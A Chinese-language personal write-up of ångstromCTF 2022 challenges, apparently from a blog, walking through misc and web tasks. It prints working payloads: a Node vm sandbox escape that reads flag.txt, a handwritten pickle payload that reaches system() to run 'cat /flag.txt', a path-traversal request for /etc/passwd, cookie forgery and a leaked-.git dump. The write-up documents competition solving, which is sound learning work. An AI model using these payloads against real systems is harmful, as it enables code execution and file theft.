ångstromCTF 2022 个人WriteUP

ångstromCTF 2022 个人WriteUP

048412

最近忙着写平台,比赛就捎带看看题学习学习,上周末就摸了摸看了看题,前面的都挺简单的,随便记录一下。这就是美国高中生吗,题目确实新颖,该难得也不简单。

MISC

Sanity Check

签到

Interwebz

nc获得flag

Confetti

多个png叠加,直接010找到最后一个png头,前面的全删就行了。

amongus

一堆文件名,直接按照时间排序,交最后一个就行了。

Shark 1

追踪流获取flag

Shark 2

追踪流提取图片获得flag

CaaSio PSE

刚开始给我整一愣,但是后来仔细看了下, 不过是把nodejs的沙箱考点换成了nc的方式。。。

分析代码

#!/usr/local/bin/node

// flag in ./flag.txt

const vm = require("vm");
const readline = require("readline");

const interface = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
});

interface.question(
    "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
    function (input) {
        interface.close();
        if (
            input.length < 215 &&
            /^[\x20-\x7e]+$/.test(input) &&
            !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
            !input.toLowerCase().includes("import")
        ) {
            try {
                const val = vm.runInNewContext(input, {});
                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

很明显的沙箱考点,不过唯一搞人的就是着b正则过滤了不少,但是仔细看看其实也不多,百分号没绕过,,,,

一眼丁真进行url绕过。

参考文章:(50条消息) mongo-express 远程代码执行漏洞分析_合天网安实验室的博客-CSDN博客

直接把

this.constructor.constructor('return process.mainModule.require(`fs`).readFileSync(`./flag.txt`).toString()

拿过来用,当然直接思路直接是利用url编码,出现url就可以绕过前面的正则,但是打进去的话由于不是web服务,这里url的编码无法直接解析,需要用decodeURIComponent来进行解码。

然后在正则这里转换的话前面会有个/,后面也有个/,所以这里通过添加一个/\n来绕过这个就行了。

最后加eval嗯造

最终poc

eval(decodeURIComponent(/%2F%0Athis%2Econstructor%2Econstructor(%27return%20process%2EmainModule%2Erequire(%60fs%60)%2EreadFileSync(%60%2E%2Fflag%2Etxt%60)%2EtoString()%27)()%0A%2F/))
图片[1]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

Kevin Higgs

经典pickle了,老外就是很喜欢pickle,常见类型题目了属于是。

开始看下代码吧

#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

当然这题我没做出来,不过还是学到了很多东西,这里放个文章做来参考

pickle反序列化初探 – 先知社区 (aliyun.com)

根据基本思路就是要构筑empty作为基础的module,归根结底要满足find_class的条件,其次就是要保证name.count(“.”) <= 1。这就是其基本思想,

当然以前没接触过pickle反序列化,那么学习了一些后感觉最终rce的一个思路我个人觉得是比较像ssti那种不断地寻找继承链一样,然后根据opcode来手写poc,编译好exp实现rce即可

这里贴一下空白他们的poc,赛后在discord白嫖到的;),学到很多并表示看不懂

lepickle = b'''\x80\x04cempty
empty
}V__name__
cempty
__class__.__base__
sbcempty
empty
}V__name__
cempty
__name__.__subclasses__
(tRsbcempty
empty
}V__name__
cempty
__name__.__getitem__
(I138
tRsbcempty
empty
}V__name__
cempty
__name__.__init__
sbcempty
empty
}V__name__
cempty
__name__.__globals__
sbcempty
empty
}V__name__
cempty
__name__.get
(Vsystem
tRsbcempty
__name__
(Vcat /flag.txt
tR.'''.hex()
print(lepickle)

WEB

就喜欢跟你们node题目说话

The Flash

f12对网站下断点就行了,有点意思

图片[2]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

Auth Skip

const express = require("express");
const path = require("path");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.post("/login", (req, res) => {
    if (
        req.body.username !== "admin" ||
        req.body.password !== Math.random().toString()
    ) {
        res.status(401).type("text/plain").send("incorrect login");
    } else {
        res.cookie("user", "admin");
        res.redirect("/");
    }
});

app.get("/", (req, res) => {
    if (req.cookies.user === "admin") {
        res.type("text/plain").send(flag);
    } else {
        res.sendFile(path.join(__dirname, "index.html"));
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

给了源码,直接给个cookie,user= admin就行了

crumbs

const express = require("express");
const crypto = require("crypto");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

const paths = {};
let curr = crypto.randomUUID();
let first = curr;

for (let i = 0; i < 1000; ++i) {
    paths[curr] = crypto.randomUUID();
    curr = paths[curr];
}

paths[curr] = "flag";

app.use(express.urlencoded({ extended: false }));

app.get("/:slug", (req, res) => {
    if (paths[req.params.slug] === "flag") {
        res.status(200).type("text/plain").send(flag);
    } else if (paths[req.params.slug]) {
        res.status(200)
            .type("text/plain")
            .send(`Go to ${paths[req.params.slug]}`);
    } else {
        res.status(200).type("text/plain").send("Broke the trail of crumbs...");
    }
});

app.get("/", (req, res) => {
    res.status(200).type("text/plain").send(`Go to ${first}`);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

直接上exp

import requests

url = "https://crumbs.web.actf.co/"
path = ""

for i in range(0,999999):
    res = requests.get(url + path)
    text = res.text
    print(res.text)
    path = text.replace("Go to ", "")

Art Gallery

const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

代码没啥好说的,,就是一个路径拼接访问,,

网站试了试,存在任意文件下载的问题

https://art-gallery.web.actf.co/gallery?member=../../etc/passwd

,不过简单找了找没找到flag,就随便的fuzz了一下,猜测可能是/.git泄露

图片[3]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

这实在是太酷了

githacker跑一哈

图片[4]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

可惜没啥东西,.git也没下来,不能恢复历史,估摸着githack不太行,搜了一下找到个git-dumper的工具

python3 .\git_dumper.py https://art-gallery.web.actf.co/gallery?member=../.git/HEAD out

这下git文件下来了,可以进一步操作了

git log一下

图片[5]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇
图片[6]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

然后就可以看见flag.txt了

图片[7]-ångstromCTF 2022 个人WriteUP-魔法少女雪殇

剩下的就没没怎么看了,就做了这些,摸了hh

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情